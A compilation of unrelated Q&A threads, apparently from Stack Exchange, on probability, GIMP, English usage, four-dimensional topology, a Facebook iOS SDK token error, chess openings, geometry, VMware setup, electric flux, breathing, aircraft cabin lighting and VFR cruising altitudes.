how to find the distribution of $Z=X_1/X_2$?

Question: If $X_1$ and $X_2$ are independent exponential random variables with respective parameters $\lambda_1$ and $\lambda_2$, find the distribution of $Z=X_1/X_2$. Also compute $P(X_1 \lt X_2)$.
What information does the question want? I know the expectation of $X_1$ is $\lambda_1$ and the expectation of $X_2$ is $\lambda_2$ so the expectation of $Z$ should be $\lambda_1/\lambda_2$ right? and the variance of $X_1$ is $\lambda_1$ and the variance of $X_2$ is $\lambda_2$ so the variance of $Z$ is $\lambda_1/\lambda_2$, is this correct? what other information does the distribution ask for?
and for the $P(X_1 \lt X_2)$ can I solve this with the integral $\int_0^{\infty} \int_0^{X_2} \lambda e^{-\lambda x} dX_1 dX_2$?
Comment: The expectation of a ratio is **not** equal to the ratio of the expectations... And in any case, the expectation alone is not enough to determine the distribution. Otherwise, normal random variables with the same mean but different variances would be equal in distribution, which is clearly absurd.
Comment: [Related](http://math.stackexchange.com/questions/33778/cdf-of-a-ratio-of-exponential-variables)
Answer:

$P(X<Y)$.

$X,Y$ are independent exponentials with rates $\lambda$, $\mu$. Then one way to do it is
$$P(X<Y) = \int_0^\infty\int_x^\infty f_{X,Y}(x,y)\,dydx = \int_0^\infty\int_x^\infty f_X(x)f_Y(y)\,dydx$$
because of independence. This is called competing exponentials. The result is
$$\frac{\lambda}{\lambda+\mu}.$$

Distribution of $Z = Y/X$.

If $X,Y$ are independent exponentials with rates $\lambda,\mu$, then
$Y = ZX$ and one way to do it is
\begin{align*}
f_Z(z) &=\int_0^\infty f_X(x)f_Y(zx)\left|\frac{dy}{dz}\right|dx\\
&= \int_0^\infty \lambda e^{-\lambda x}\cdot \mu e^{-\mu zx}|x|\,dx\\
&= \int_0^\infty \lambda\mu e^{-(\lambda +\mu z)x}|x|\,dx\\
&= \frac{\lambda\mu}{(\lambda+\mu z)^2}.
\end{align*}

Addendum:
Using the CDF gives
\begin{align*}
F_Z(z) &= P(Z<z)\\
&= P(Y/X<z)\\
&= P(Y<zX)\\
&=\int_0^\infty\int_{y/z}^\infty f_X(x)f_Y(y)\,dxdy\\
&=\int_0^\infty\mu e^{-\mu y}\left\{\int_{y/z}^\infty\lambda e^{-\lambda x}\,dx\right\}dy\\
&=\mu \int_0^\infty e^{-(\mu+\lambda/z)y}\,dy\\
&= \frac{\mu}{\mu+\lambda/z}.
\end{align*}
I specifically chose those bounds to cut down on steps, recognizing the use of the survival of an exponential. Taking the derivative gives $f_Z(z)$.
Comment: You might be more familiar with the alternate method I posted.
Comment: where did the absoule value x come from in the distribution of Z? and why did you add a z in the exponent for $\mu$ $e^{-\mu zx}$?
Answer: There is no reason why the expectation of $X_1/X_2$ should be $\lambda_1/\lambda_2$. Expectations don't work like that. Similarly for the variance.
When they ask you to find the distribution of $Z$, they want you to determine $P(Z\leq x)$ for an arbitrary real number $x$. This is the distribution function of $Z$.
As for $P(X_1<X_2)$, you need to integrate the joint density of $(X_1,X_2)$, and it looks like you only have the density for one of them. Since they are independent, the joint density is the product of the densities.
Comment: Apart from cap $X$ where lower case is appropriate, you have a right integral. The version by peobablyme is a little easier to evaluate.
Comment: for $P(X_1 \lt X_2)$ since they are both exponential functions should the integral be $\int_0^{\infty} \int_0^{X_2} \lambda_1 e^{-\lambda_1 x} \lambda_2 e^{-\lambda_2 x}dX_1 dX_2$?
Answer: We have
\begin{align}
\mathbb P(X<Y) &= \mathbb P(\omega\in\Omega: X(\omega)<Y(\omega)\\
&= \mathbb P(\omega\in\Omega : (X,Y)\in\{(x,y)\in(0,\infty)^2 : x<y\})\\
&= \mathbb P\circ(X,Y)^{-1}(\{ (x,y)\in(0,\infty)^2 : x<y\})\\
&= \iint\limits_{x<y} f_{X,Y}(x,y)\ \mathsf d(x\times y).
\end{align}
Since $f_{X,Y}>0$ a.s. and
$$\iint f_{X,Y}\ \mathsf d(x\times y)=1<\infty $$
by Tonelli's theorem we may evaluate the double integral as an iterated integral:
\begin{align}
\iint\limits_{x<y} f_{X,Y}(x,y)\ \mathsf d(x\times y) &= \int_0^\infty \int_x^\infty f_{X,Y}(x,y)\ \mathsf d y\ \mathsf dx.
\end{align}
By independence, $$f_{X,Y}(x,y) = f_X(x)f_Y(y) = \lambda e^{-\lambda x}\mu e^{-\mu y} $$
and so the probability is
$$\int_0^\infty\int_x^\infty \lambda e^{-\lambda x}\mu e^{-\mu y}\mathsf dy\ \mathsf dx = \frac\lambda{\lambda+\mu}.  $$
If $Z=\frac YX$ then for $z>0$,
$$Z\leqslant z\iff \frac YX\leqslant z\iff Y\leqslant zX. $$
Note that $zX\sim\operatorname{Exp}\left(\frac\lambda z\right)$, as
$$\mathbb P(zX\leqslant x) = \mathbb P\left(X\leqslant \frac xz\right) = 1-e^{-\frac\lambda z x}, $$
so
$$\mathbb P(Z\leqslant z) = \mathbb P(Y\leqslant zX) = \frac\mu{\mu+\frac\lambda z}. $$


copying selection shape in gimp

Question: I'd like to copy selection shape in gimp and then paste it somewhere else (I've got first half of the image and I'd like do make it's mirror reflection). Do you know how can I do it?
Answer: You can use the "selection to path" button and then manipulate it as a path.  Once your done with that, you can use "path to selection" to convert it back.
Documentation
Answer: Do not use "selection to path" if you want to be accurate, paths are not intended for this kind of work. If you convert it to path and back while viewing closely, you'll see that it has changed its form a bit.
Selection is stored internally as a channel, so you can use Save to Channel in the Select menu to store it without losing accuracy. Then you can turn on the visibility of the newly created channel and work with it like with a normal layer. To restore, there is Channel to Selection in the channel's context menu and at the bottom of the Channels tab.
But what you actually need is Quick Mask, Alt+Q, small icon at the bottom left of the viewport. It handles all the internals of the described workflow for you. Turn on - and you can handle the selection like a layer, turn off - and the selection is restored. Internally, though, it's a temporary channel, you can switch to Channels and see it.
For simple cases you might also want to use transform operations on the selection right away, just switch Transform to Selection in the tool properties.

copying selection shape in gimp


Why do you say "People Management" ("people" is plural) but not "Person Management" ("person" is singular)?

Question: When it comes to a noun + noun compound, the former is usually in its singular form. But why do you say "people management", not "person management"? If this is about managing a group of people, not a single person, then why you say "animal management", not "animals management"?
Answer: I think this comes from animals being seen as something you have a quantity of (think "bucket of sand" vs "bucket of sands") whereas people like to be seen as individuals, and not a collective mass of person.
If you are a "fun" kind of manager though, with just one person that you manage, you could say that you are in the business of "person management".


What's true in $\mathbb{R}^4$, false in $\mathbb{R}^3$ and uninteresting in $\mathbb{R}^5$?

Question: What are some interesting and easy-to-understand (for non-differential geometers) facts about subobjects of $\mathbb{R}^4$ that are not only false in $\mathbb{R}^3$, but also specific to the structure of $\mathbb{R}^4$ and maybe do not easily or naturally generalize to higher dimensions?
Comment: Do knotted 2-spheres count?
Comment: Sounds interesting!
Comment: Does it have to be true and uninteresting in $\mathbb{R}^5$, or can it be also false in $\mathbb{R}^5$?
Comment: Sure, I was just trying to weaken the requirement on what happens in $\mathbb{R}^5$.
Answer: Due to the theory of quaternions, due to Hamilton, $\bf R^4$ has a structure of a  of non commutative field. The only dimension for which $\bf R^n$ is a field are $n=1,2, 4$ . As an application, the special orthogonal group in dimension 4 is not simple : it is the quotient of $U\times U$ by it center $Z/2Z$ where $U$ is the unitary group in complex dimension 2, or the set of quaternions of norm 1. In other dimension (other than 2) the special orthogonal group modulo its center is simple.
Comment: But then this is not true in $\mathbb{R}^5$, is it?
Answer: Lets bump knot theory up a dimension.   In general, an $n$-sphere can be non-trivially knotted in $\mathbb{R}^{n+2}$.  Obviously, an $n$-sphere can be embedded in $\mathbb{R}^{n+1}$, where it is usually defined, but no knotting can occur.  In $\mathbb{R}^{n+3}$, we can use the extra dimension and unknot every $n$-sphere.
So, for $n=2$, we have that a $2$-sphere can be knotted in $\mathbb{R}^{4}$, cannot be knotted in $\mathbb{R}^{3}$, and is uninteresting in $\mathbb{R}^{5}$, since there is only one knot type.
If you want to look into this more, you should look at any number of great books: Rolfsen, Adams, and more that I am just not thinking of at the moment.
Edit: As per Mike's comment, we should be assuming PL or locally flat here.
Comment: You have not said precisely what kind of knots you're considering. Your statement that the only knotted spheres in $\Bbb R^{n+2}$ are $n$-spheres; this is true if you're working with locally flat or PL maps, but not smoothly: Haefliger discovered many examples of higher codimension, smoothly knotted spheres; the first is an $S^3$ in $S^6$. It is true that 2-spheres are smoothly unknotted in $S^5$ but I do not think it is uninteresting until $S^7$.
Comment: You make a good point.  I do very little above dimension 4, so I will defer to you in this.  So, I suppose I should assume locally flat or PL to make my answer complete.  Thank you for the correction.
Answer: Only for $n=4$ does there exist an open set $U\subseteq\mathbb{R}^n$ that is homeomorphic to $\mathbb{R}^n$ but not diffeomorphic to $\mathbb{R}^n$ (a small exotic $\mathbb{R}^4$).  What this means is not too difficult to explain (no need to explain what a manifold is, only what a homeomorphism and a diffeomorphism are between open subsets of $\mathbb{R}^n$).  I don't think it qualifies as "uninteresting for $\mathbb{R}^5$", though (it's definitely not a triviality in any dimension other than $1$), but you seemed to say "false" was also OK.


Can I get candy faster?

Question: In Candy Box, I've finished a few quests and bought a few swords, but I always seem to get candy at the same rate. Is there any way to get it faster, or am I stuck getting it at this rate forever?
Comment: Depending on how honest you are, you can poke around in the .js console, and turn up the candies-per-second rate without too much trouble. It makes it so you don't need several days to make decent progress.
Comment: It's also worth noting that it looks like the lollipop/second rate maxes out at 100 lollipop/second.
Answer: Once you reach the Sorceress' Hut, you can buy candy speed increases for many many lollipops.
You can also get an item that triples your candy acquisition, as well as earning candies from quests.
Comment: Emphasis on MANY
Answer: What I do is repeat a quest that gives a lot of candies but at the same time you don't lose too much health so you can quickly do it over and over. I'm stuck on Castle's keep so I get my candies from Underwater Cave.

Can I get candy faster?


iOS Facebook SDK: An active access token must be used to query information about the current user

Question: I have followed many examples and looked at many questions regarding this access token error, but I can't seem to find out why I am getting it or how to fix it.
I init Facebook like they do in the 3.1 sdk examples:
 NSArray* permissions = [[NSArray alloc] initWithObjects:@"publish_stream", @"publish_actions", nil];
 self.fb = [[FBSession alloc] initWithPermissions:permissions];
 [self.fb openWithCompletionHandler:^(FBSession *session,
                                         FBSessionState status,
                                         NSError *error)
     {
         [self sessionStateChanged:session :status :error];
     }];

This works fine and the user is asked to accept the app permissions in Safari and is returned to the app afterwards.  When the user is returned to the app, my FBSessionState is FBSessionStateOpen.
When I try this:
[FBRequestConnection startForMeWithCompletionHandler:^(FBRequestConnection *connection, id result, NSError *error)
                 {

                     [self showAlert:@"logged in?" result:result error:error];
                 }];

or this:
NSMutableDictionary* fbPost = [[NSMutableDictionary alloc] initWithObjectsAndKeys:@"post from iOS", @"message", nil];
[FBRequestConnection startWithGraphPath:@"me/feed" parameters:fbPost HTTPMethod:@"POST" completionHandler:^(FBRequestConnection *connection, id result, NSError *error)
                                        {

                                            [self showAlert:@"message posted?" result:result error:error];
                                        }];

but I get:
FBSDKLog: FBURLConnection <#1126>:

  Duration: 936 msec

Response Size: 0 kB

  MIME type: text/javascript

  Response:

{"error":{"message":"An active access token must be used to query information about the current user.","type":"OAuthException","code":2500}}

I have taken the access token from my FBSession and put it into Facebook's Access Token Debugger and it shows I have a good token:
App ID: <hidden>
Metadata: {"sso":"iphone-safari"}
User ID: <hidden>
Issued:  1351525817 (about an hour ago)
Expires: 1356709817 (in about 2 months)
Valid:  True
Origin: Mobile Web Faceweb
Scopes: create_note photo_upload publish_actions publish_stream share_item status_update video_upload

I must be missing some small detail in the settings or something.
Thank you all in advance!
Answer: According to the docs, https://developers.facebook.com/docs/reference/ios/3.1/class/FBRequestConnection
"The request uses the active session represented by [FBSession activeSession]."
This applies to the static methods dealing with requests. So what you want to do is make sure you set the active session. Do the following:
[FBSession setActiveSession:self.fb];

Just before you call the first FBRequestConnection start* method.
Comment: Thank you!  I knew it had to be something small :)
Comment: @C Abernathy What is "FBSession" ? in built class ? i cant import this in my project ? any additional framwork required to do this ?
Comment: FBSession is a class in the Facebook SDK for iOS. For more details integrating with the SDK, start here: https://developers.facebook.com/ios
Answer: Well After some time, noticing that FBSession.activeSession was not nil, what I was missing before sending the request was:
    if (!FBSession.activeSession.isOpen) {
        [FBSession openActiveSessionWithAllowLoginUI: YES];
    }

Comment: I didn't really find the accepted answer resolved my issues but this one did.
Answer: I got this error in v4 of the SDK when attempting to use a FBSDKGraphRequest object that had been created before logging in. When I changed this to create the FBSDKGraphRequest immediately before using it (i.e. after having logged in) it worked fine. It seems the initializer for this class sets some token that isn't refreshed when the request is started.
I tried updating the request's tokenString property after logging in, but for some reason this is a readonly property.
Answer: /*
     deprecated for google and facebook
    func application(_ application: UIApplication, open url: URL, sourceApplication: String?, annotation: AnyObject) -> Bool {
        let googleDidHandle = GIDSignIn.sharedInstance().handle(url,
                                                                   sourceApplication: sourceApplication,
                                                                   annotation: annotation)
    let facebookDidHandle = FBSDKApplicationDelegate.sharedInstance().application(
        application,

open: url,
            sourceApplication: sourceApplication,
            annotation: annotation)
        print(facebookDidHandle)
        return googleDidHandle || facebookDidHandle
    }
   */
So i used,
 func application(_ application: UIApplication,
                     open url: URL, options: [String: AnyObject]) -> Bool
    {
    return FBSDKApplicationDelegate.sharedInstance().application(application, didFinishLaunchingWithOptions: options) || GIDSignIn.sharedInstance().handle(url as URL!, sourceApplication: options[UIApplicationOpenURLOptionsSourceApplicationKey] as! String, annotation: options[UIApplicationOpenURLOptionsAnnotationKey])
}

xcode 8 beta 3 , ios 10
Answer: you can try this too, works for me
func application(_ application: UIApplication,
                      open url: URL,
                       options: [String: AnyObject]) -> Bool
{
    let delegate = FBSDKApplicationDelegate.sharedInstance()

    return delegate.application(application, open: url,
                                sourceApplication: options["UIApplicationOpenURLOptionsSourceApplicationKey"] as! String,
                                       annotation: options["UIApplicationOpenURLOptionsAnnotationKey"])
}


Resources on the closed Italian

Question: What are some good books, courses, etc to learn the slow Italian with d3? I want to start playing the slow Italian with d3 as it keeps lots of pieces on the board and leads to rich middle games and am looking for resources to learn the opening
Answer: Book recommendations
On chess24 there was a very nice course by GM Ivan Šarić, however I don't know
if it's still possible to get it today, due to Chess.com closing down chess24 on 31. 1. 2024.
I also liked Winning with the Slow (but Venomous!) Italian by Georgios Souleidis and Karsten Müller.
Let's focus first on the mainline with c3 and d3.
Move orders
When learning Italian I found it helpful to start with learning how to
punish Black for wrong move order (why cannot he play g6 at this or that point,
how to deal with f5, ...) and then going for topical plans.
The hardest two move order issues for both players are timing of O-O and h3, h6.
h3 played too early can often be punished by h6-g5 (if black didn't castle yet),
while if not played it often allows Ng4 shenaningans (targeting f2, which is weakened by Rfe1).
Symmetry
Note that in most classical positions there is a lot of symmetry:

Bishop on c4 - Bishop on c5
Knight on f3 - Knight on f6
Pawn on e4 - Pawn on e5

So plans are similiar for both sides. Concrete difference is that black has knight on c6,
which is slightly misplaced, so he will have to reroute it, which gives white
a small advantage in development. So Black main goal is to offset this development disadvantage
and free his position with quick d5.
There are of course other plans for black (for example with h6-g6-Bg7), the main alternative
being setup with Be7: 1. e4 e5 2. Nf3 Nc6 3. Bc4 Nf6 4. d3 Be7. Black will play for
quick d5, often gambiting this pawn. Play is similiar to Marshall in Ruy Lopez.
Topical plans for White
Kingside attack
The most classical approach to quiet Italian for White and very effective even today,
especially when combined with other plans. White is going to reroute his
queenside knight to kingside (via Nbd2-Nf1-Ng3 or -Ne3), so his knights will target
very nice f5 and h4 squares.
Rook lift is also very common: Rfe1-Re3-Rg3 or -Rh3 and queen is also quick to
join the fray.
Central break
In quiet Italian you play c3-d3 first, but you are still planning to go for d4
later. When you push d4 it often adds extra fuel to your kingside attack.
Before you go for central break you need to reinforce your e4-pawn with moves
like Bc4-Bb3-Bc2 and Rfe1 (which often needs to be prepared with h3, due to weakening of
f2, which Black can often punish with Ng4).
Queenside expansion
This plan is more independent and more modern, but I think it's not strictly
better or worse than upper two. You go for a4-a5 or/and b4-b5. This has two
pluses:

Far advanced queenside pawns will be advantage in many endgames;
If you get rid of your c-pawn (with d4 pawn break), you have open c-file,
targetting c7. Black cannot easily move his c-pawn if you have pawn on b5,
so getting a rook on open c-file can be very efficient.

Opening up f-file
This plan is more common for Black side, but it's sometimes also useful for White.
You play Be3, hoping that black will play Bxe3 (otherwise you have a choice
between keeping the tension and exhancing bishops yourself). After fxe3 your position has two
benefits:

Open f-file is very useful for kingside attack;
Your central pawn mass (e3,e4,d3) is very mobile. Doubled pawns on e-file
practically guarante you easy d3-d4 push.

Flexibility
I think the main benefit of Italian over other openings is that it's very flexible - there are a lot of sidelines and different move orders, so you can easily
surpise your opponent, even if he prepared against you. For this to succeed though,
you need to know some sidelines.
The one I like most is 1. e4 e5 2. Nf3 Nc6 3. Bc4 Bc5 4. d3 Nf6 5. Nc3 d6 6. Bg5
with idea of Nd5. At some point you will have to play Bxf6, losing bishop pair,
however you will get d3-d4 push in exchange almost "for free". Positions can get
a bit dry if black knows what he is doing though.
Hidden complexity
These slower Italian lines may at first glance appear more quiet and easier to play
than older c3-d4 lines. However they aren't simple at all. Inaccuracies can
often be punished only tactically and kingside attack is always lurking just under the surface
(even if you don't actively play for it). They are sharper than they look
and passive play by Black often leads to quick tactical wins for White.
What makes them truly complex though is subtle interaction between these main plans.
You need to learn (and accurately evaluate) which plan is better in which position,
which moves are good for multiple plans and which ones detriment particular plan (in favor of another).
How to combine them, how to react appropriately to your opponent ideas?
Comment: Thanks for the recommendation and the blueprint laid down by you. Would you recommend "the modernised Italian game for white " by thinkers publishing 2021 and "The Italian rennaisance" 2020 over this book though seeing as how quickly the theory has developed here.
Comment: @anti-Marshall I don't know these two books. Main plans should still be the same, while for recent theory changes it's almost always better to consult an up-to-date database than a book.

Resources on the closed Italian


Two congruent triangles

Question: Each triangle has 6 basic determinants: 3 line segments and 3 angles.
Is it possible to have two triangles, which have 5 of the basic determinants in common,
but are not congruent?
Comment: By "line segment" do you mean the length of a side?
Comment: How is this not just a basic math problem that is frequently flagged and closed around here?
Comment: @ThomasMarkov Because it takes some creativity to come up with the solution.
Answer:
 Yes. A triangle with sidelengths 4,6,9 and one with sidelengths 6,9,13.5 have this property. (I know their angles are congruent because their side, taken pairwise in increasing order, are in equal proportions. And I know such a triangle exists by the converse of the triangle inequality.)
Answer:
 Any triangle with sides $a,ak,ak^2$ with $a+ak\gt ak^2$ is similar to a triangle with sides $ak,ak^2, ak^3$. An interesting thing about this is the value of $k$. We have $k^2-k-1\lt0$, so $k=\frac{1\pm\sqrt{5}}{2}$ (see the Golden ratio) gives the roots, $k$ must be positive to avoid negative lengths, and so $0\lt k \lt\frac{1+\sqrt{5}}{2}$.

Two congruent triangles


How to get started with vSphere 6.0 and set up the web client?

Question: Linked from here
I've been tasked with setting up some VMs. I've been given some admin details but no further guidance. The server is a fresh install.
My problem is that I'm on Linux/OSX and don't want to run Windows aside from setting up after which I hope to be able to manage things through the web client.
I think there is an ESXi installation. This would be Version 6. How do I set up the web client?
I've installed vSphere Client on a local Windows VM.. not sure what to do with it though.
The documentation is pretty awful and there hasn't been much useful info on the net. I'm really stuck as I didn't set these up and haven't used servers like this before, so I have no context or understanding of the VMWare ecosystem beyond using a virtual machine locally! (even then I've preferred Virtualbox)
Any advice would be amazing
p.s accessing https://[ipaddress]/vsphere-client does not work. Produces a blank browser page... with no html served as an error
Answer: If you have the name of the server on which the VMs are stored, type this into the URL of a web browser then it gives you management options or alternatively use this login screen:


Why is flux through a closed surface not infinite?

Question: The Electric field lines coming out of a charge are infinite, So the lines passing through a closed surface should be infinite , right?
Comment: Keep in mind that field lines are just a tool we use to "see" the electric field. The physical thing we care about is the field itself. A somewhat more absurd and extreme similar question could be seen as "Why doesn't my velocity vector stab people in front of me?"
Comment: If the lines coming out are finite, then the number of them passing through a closed surface will be finite too. The important thing is, it will be the same number no matter how big/far is this surface. The number of these lines per square meter will drop with distance like $1/r^2$, which is what you want.
Answer: In my opinion, that definition of "flux" is a failed attempt to explain flux to outsiders, or a failed attempt to give a physical meaning of it. It is a very common definition, but I think it confuses people.
The flux is actually simply
$$\Phi_{\vec{E}}=\iint_S \vec{E} \cdot d\vec{S}$$
And that integral can be whatever. That is what flux is. I wouldn't say that it is the number of lines passing.
Answer: Yo can imagine a the electric field as an infinite number of "lines" coming out of a charge. In that case each line would represent an infinitesimally small portion of the field, since the total field is finite.
When you calculate the electric flux over a surface, you are summing an infinite number of elements each having an infinitesimally small value. So, the sum is finite.
Answer: Electric field lines are a graphical "crutch" that is used to represent the real electric field, which is invisible.  In addition, there are rules for drawing the electric field lines:
1) The number of field lines is proportional to the charge of the particle that is generating or absorbing those lines.  Note that this number is arbitrary, but for charges of 2 Coulombs and 1 Coloumb, the number of field lines associated with a charge of 2 Coulombs would be twice the number of field lines associated with a charge of 1 Coulomb.
2) Field lines exit a positive charge and terminate on a negative charge.  Note that at the surface of a charge, field lines enter or exit at right angles to the surface.
3) If there is only one positive charge, the field lines extend to infinity.  If there is a negative charge associated with that positive charge, some or all field lines leaving the positive charge terminate on the negative charge.  If there is only one negative charge, field lines come from infinity and terminate on the negative charge.
4) Field lines do not cross.
Regarding flux exiting or entering a surface that encloses a charge, the flux is proportional to the number of field lines ONLY, and is not influenced by the size of the surface.  Thus, for a 1 Coulomb charge that is surrounded by a spherical surface, the same flux exits or enters that sphere whether the sphere has a 1 m radius or a 1 km radius.  The number of field lines per square meter of the sphere's surface (aka, the flux density) is affected by the sphere's radius, but the total number of field lines penetrating that surface is solely determined by the amount of charge that the surface contains, and is NOT affected by the sphere's radius.


Is the 5% of the oxygen used in the breathing process fully transformed into CO2?

Question: More specific, I found out that the amount of oxygen we inspire is 21% from the total amount, with 0.04% CO2. The expired amount is 16% oxygen, with 4% CO2. Where does the remaining 1% oxygen go? Or are these only approximations?
Answer: When you write the number "21%", it represents equally all numbers rounded to 21%; that is, 21% is the same number as 20.5% and 21.49% under the most common rounding convention.
When you subtract two rounded numbers, you can easily get a number that is not zero. For example, 10.500 - 10.499 = 0.001 before you round, but if you round first, 11 - 10 = 1. 10.501 - 10.500 has the same difference, but if you round first and subtract you'll get 0. In other words, 16 + 4 = 21 is completely reasonable math in the world of rounding, the value of "1" is not meaningfully different from zero on that scale.
Comment: Got it. So it was just an approximation. Thanks!
Comment: @me1234 I wouldn't call it an "approximation" per se; it could be that the numbers were measured very very precisely, but if they've been reported to you as a number like "16%" you should know by looking at that number that it's clearly been rounded to an integer percentage value.


What is the lighting technology behind the Dreamliner's dynamic interior lighting?

Question: The flights that I've been on in the Dreamliner (and also Virgin America), have dynamic overhead cabin lighting that provides nice mood lighting, helps alleviate jet-lag, and is otherwise very pleasing to look at. What is the technology behind this? The closest technology I've seen that can offer dynamic light coloring is phillips hue lightstrips.
Comment: Although the Hue light strips are the main domestic commercial product, it's pretty easy to get (at an industrial level), lots of different types of LED, and to make your own controller system
Comment: frankly, that lighting seems really annoying, and I can only imagine it might be useful based on which color zone you might be sitting in.
Comment: I've linked to your question [here](https://space.stackexchange.com/q/37274/12102)
Answer: This 'mood' lighting is offered by Boeing in 787 and Airbus in A350XWB (as an option) and is achieved by using Light Emitting Diodes (LED). According to Airbus,

Airbus is applying the latest technology in energy-efficient LED (light-emitting diode) mood-lighting on the A350 XWB. This enables the cabin ambience to be tailored to each airline's own identity, as well as mimicking natural sunrise and sunset illumination that helps the body adapt to jetlag on long-range flights.

The main advantages of LEDs over conventional lights are,

The LEDs are longer lasting (~50,000 hrs).
They are more energy efficient.
They generate less heat.

Phillips seems to be involved in the development of lighting systems for the(se) aircraft. According to led-professional.com,

Philips Lumileds provided the LEDs while Diehl Aerospace engineered the overall lighting system for the Boeing and Airbus cabin interiors.

The light intensity and colors are decided by the airliners and are pre-programmable (and can be changed remotely). According to Bloomberg,

The Finnair A350 cabin has two dozen light settings, aligned with stages of a long-haul flight. It will also feature warmer, amber colors on flights arriving in Asia and cooler "Nordic blue" hues when flying into Finland. ...
  Virgin Atlantic has five primary color periods on its 787 flights: rose-champagne for boarding, purple-pink for drinks, "amber" for dining, another for the pre-sleep period called "work-rest-play," a silvery glow for overnight sleep, and a waking color.

Similar lighting systems are also offered by third parties for other aircraft.
Answer: According to Boeing they are using High-intensity discharge (HID) and light emitting diode (LED) lighting almost across the board on the plane.

The 787 has replaced virtually all cabin, flight deck and exterior lighting with HID and LED lighting technologies. Because these light types have no filament, the operational life of the lights is dramatically longer than that of an incandescent bulb.

The lights you show specifically are most likely tri-color LED's or some other similar array that would allow color selection and combination in a nice package (this is just my engineering assumption/how I would design it).
Once Boeing identified what light ranges relaxed people/helps jet lag the engineer would simply have to spec out LED's capable of delivering light in/at that spectrum. If they chose to use a tri-color package or single frequency LED's is up to them, the end result will be more or less the same optically speaking.
Comment: I hope they're not using HID for _interior_ lighting! That sounds painful.


Which altitudes are safest for VFR?

Question: As a fairly new pilot who does a fair amount of x-country flying I find myself "feeling" safer going East at 5500 and West at 6500 happily burning extra fuel to get up there. Listening to the on route frequency position reports as I fly, I find the vast majority of GA traffic fly between 3000 and 4500 giving me the feeling that things are pretty crowded and less safe down there. Is there any validity to this?
Comment: What country/region are you flying in?
Comment: It depends where you're flying.  Around here (western US), there are plenty of places where to get to 6500 ft MSL, you need to be a miner :-)  And for longer flights, it's often more fuel-efficient to climb to higher altitudes, say 10-14K ft.
Comment: This question is subjective and dependent upon the aircraft type, location, terrain, airspace, winds aloft,  weather, etc which you will encounter.  There is no one 'safe' band of altitudes for all cases.
Comment: @jamesqf, while it is more common in the Western US, in the east and central areas, many pilots do not have oxygen and the equipment for it.  I tend to not encourage flights where it would be appropriate because without the equipment, some pilots may push it.  It should be noted that with mild hypoxia there is a loss of night vision at night, and acuity during the day.  HOWEVER, a note to aspiring high flyers, pulse oximeters are real cheap, like $30 for a quality one, and are reasonably reliable for assessing gross oxygenation levels.
Comment: I was at an EAA IMC Club meeting (US) where we meet monthly to discuss IFR, scenarios, questions on approach charts, etc.  Found out there is also an EAA VMC club for VFR pilots, so we ran thru a set of slides that were presented recently. There were a bunch of questions on bird strikes. One that was discussed is that most birds fly at ~3500 feet.  Your strategy of flying at 5500, 6500  to get above the birds and a lot of low flying VFR traffic sounds perfect.  In my area (Boston, MA) the summer clouds always seem to be at 4500, 6500, so climbing above them for smooth air can be a challenge.
Comment: @mongo: I'm not talking about flying at altitudes at which normally healthy people would require supplimental oxygen, but the sort of altitudes at which we hike & cross-country ski.
Comment: @jamesqf: You mentioned 10-14k  In the US, 14 CFR 91.211 requires supplemental O2 availability from 12.5k to 14k for duration of 30 minutes or more.  That would require O2 equipment. Best practices for many pilots would have O2 available above 10k.  Sure, perhaps not the guys who live in Leadville.  But having O2 equipment is an impediment for many "fairly new" pilots.
Comment: Excuse me, 12.5 to 14k, requires the use of O2, not just the availability, for more than 30 minutes.
Comment: @CrossRoads, if you have a reference on "most birds fly at ~3500 feet," I would appreciate it.  That is very contrary to the research I was familiar with, which is about 30 years old.
Comment: 3500 is what was presented from the EAA.  Another was a bird strike at 31,700 feet! Amazing.
Answer: The altitude you fly at should be determined by the following:

Where you are safest.  Crossing 5500 foot mountains at 6500 simply is not a good safe practice.  Your altitude should be higher at night, if for nothing else, to give you more time to diagnose a problem or pick a suitable landing spot.  When my primary students fly the hills around here, I insist that their final cruise be above 3000 AGL.  That keeps them out of 2000 foot towers (most are just 1500 feet), and gives them time to pick a landing spot, and gives them altitude for getting radio assistance from FSS or ATC.  Higher is better, but I tend to not encourage 10,000 foot level flights for student pilots because there are other risks.  You should consider all the risks associated with altitude.  Lumbering along at 11,000 feet may not be the least risk option.
Your altitude selection should help you in navigating.  Being up higher lets you pick landmarks, see more VORs, reach more ATC and FSS facilities.  Generally, my students do not use GPS (as student pilots), so if they get lost, they have to descend and read water towers and things like that to find themselves.  That doesn't happen often.
Your altitude should keep you in good weather.  If you are a VFR pilot, you will probably not want to make your trip on top, with a 1000 foot ceiling below you. Again one needs to balance risk.  Being at an altitude which keeps you below the scattered layer, keeps visibility good, and can make a trip more enjoyable.  But if Nervous Nancy is taking her first plane trip, and is predisposed to motion sickness or is simply nervous about bumps, then you want to pick an altitude that will be a bit smoother.

The whole exercise of picking the right altitude, the right route and even the right day is part of a big optimization problem, where you are looking at safety, enjoyment, economics and other factors.  There is no magic altitude, no perfect route.  What is good 80% of the time may be not so good 20% of the time, which is why ADM (Aeronautical Decision Making) is emphasized in training and recurrent training.  Having good visibility, nice tailwinds, a smooth ride and plenty of altitude over the terrain are always nice.
Oh, one exercise you might try...I tend to do this with flight review students...we do airwork at altitude over the hills or low mountains about 25 to 30 miles from the airport.  I pull power and they dive for the nearest pasture, which has down slopes which exceed the descent profile of the aircraft with power off, the gear and flaps down, and heavy slipping.  Or select a field which has an up slope which is extreme enough so that a landing is impossible.  Then I suggest that they try the home airport.  "But it's 20 miles away."  or maybe 25, and they might have a good tailwind at 5000 feet above the airport.  And they start the glide.  On the way we pick alternates, including flat grass strips, along the way.  Almost 100% of the time, the lightly loaded aircraft makes the airport, and they are amazed that they were able to travel so far without power.  And the take-aways are many, which include that having a couple of thousand feet below you really opens up your options.  And to not pick the first field you see.  With altitude, there may be others as you get to more favorable terrain.
I have managed to fly many decades, many hours and never so much as scratched paint on an airplane.  However, before every flight and during every decision, I ask myself what an objective, after the fact, review board would say.
Answer: You have to get the concept that there is a "safe" cruising altitude above some level, because that idea bubbling along in the back of your mind will influence decisions, over such things as weather, which can work against you.
The most dangerous area in the VFR world is within a few miles of airports, because you have airplanes on converging tracks and descending, and the vast majority of VFR midairs happen close to an airport, with airplanes converging to the same landing circuit/pattern.
The chance of running into another plane just cruising along over the countryside, even if you aren't looking out for traffic, is microscopic.
That being said, when flying cross country, you go as high as is practical.  The most air miles per gallon is found at the highest altitude you can maintain cruise power, and this this generally around 8000+/- ft, the level you can get 75% power at wide open throttle if you don't have turbocharging.
